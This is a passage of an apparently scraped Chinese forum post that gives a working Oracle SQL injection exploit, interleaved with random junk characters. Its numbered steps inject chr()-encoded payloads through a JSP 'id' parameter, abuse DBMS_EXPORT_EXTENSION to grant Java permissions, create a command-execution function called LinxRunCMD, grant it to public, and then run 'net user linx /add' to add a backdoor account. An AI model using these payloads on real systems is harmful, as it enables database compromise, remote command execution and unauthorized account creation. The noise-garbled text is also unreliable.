' y' B7 I6 |/ R+ [2 j: o& i) T0 Xchr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||. ?: g! B4 |6 F) z8 _9 \% s
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)/ y4 s, e9 |- t8 ]$ `! ^. V: G) h
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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2.赋Java权限, l! V. V; ~- y9 q+ x
/xxx.jsp?id=1 and chr(49)<>chr(50)||( J& B# \8 ]9 W; b9 x9 K
- X4 u# r: k: k( y9 {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
& p4 [; q i8 x; Q7 |; k7 `$ k3 schr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
0 B" e; O, e8 o0 E% Tchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
0 k" Y* }. | R6 X0 Ichr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||. H5 U+ R* W* a! O) A+ \$ c
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||1 T: K) l1 M! E) |
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
4 S# r% z' w* g6 W( O5 ^% kchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||% d5 @# e1 F' d$ x
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||' G0 [) A, a5 L& N H
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
. d6 ~. d3 I6 `9 q/ U9 dchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)) j, e$ n( @- {2 F+ x6 b) c
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual- ]3 A6 _. f* q3 I
" l* z& B( }5 r; _. S6 V- S)! b% |+ F/ \/ w% F1 ?
+ T; A+ f7 q* ~. ], ^. T. Mreadfile函数的ascii版就不写了,见谅。; j$ n `# H! y, i1 |0 p1 Z* M4 d2 ~
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3.创建函数7 `: v3 q: I/ j+ \% t. _
% Q4 _2 {% p8 V& s' i o8 j6 vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),, G" e; j2 l$ x: }) N; K: m5 L
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||4 ~& q1 N- s$ p/ S' }
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||2 i6 k$ |+ Y0 }! c7 n7 e
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||% ?$ I# N, Q8 Z4 P8 S
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||' {; |% ], f. n$ d( W
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||- J0 g# |: F+ k9 o/ d
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
7 ^9 m* @& A# f7 Z" ochr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||$ ~5 e1 Z5 P4 l0 s5 U
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
1 s+ `& O- N7 g) b$ jchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
8 F4 q+ i8 ?9 ~/ lchr(59)||chr(45)||chr(45)6 {$ R* @( i- D6 N5 e
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
. ^' r) N$ C8 t$ x- _
6 j* g& e0 J1 Z6 p3 P
* i4 Q j. r. B5 d- Y, T/ y8 }& ]# n+ d( l, M6 }& M0 [ h
4.赋public执行函数的权限2 T+ L. d6 L; C' O6 x& d
' }* i+ m% M3 e! q! j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),+ g0 y$ `6 ^; t2 l3 T3 ~
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
2 o: G* r! F) ~0 g4 o) Schr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
4 L5 d: o* T+ V! \( Jchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||: f) q' F ?* F9 r( j( Q
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
6 f5 x3 o% l% U$ [ N# s# @chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||$ O, L: ]' K" T. _" x# j
chr(59)||chr(45)||chr(45)$ }1 q% u" M8 y1 [; d5 Y
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
7 b. T, Q9 C" r
3 q' Y3 i: ~% y- F, N
" m( i p; q8 V) {- m+ J5 U5 m
y; \; b* X- S( [1 }: a5.执行命令:
, C8 C3 H# m9 ~- g: s! h' i- t5 R6 n: U$ i2 _0 l
/xxx.jsp?id=1 and chr(49)<>chr(32)||() } _+ x! S; r. p) p0 b
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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8 U$ P; o. O6 w+ n$ G7 G
, k4 _1 S" E7 |" C% c- ]即
1 E. F' s! v& ?& W/xxx.jsp?id=1 and chr(49)<>chr(32)||(
& |: q' l" H$ `* yselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual0 x, C* o6 t9 l2 K( o
)
, z; I! T: q% v; ~. l" {) {6 x |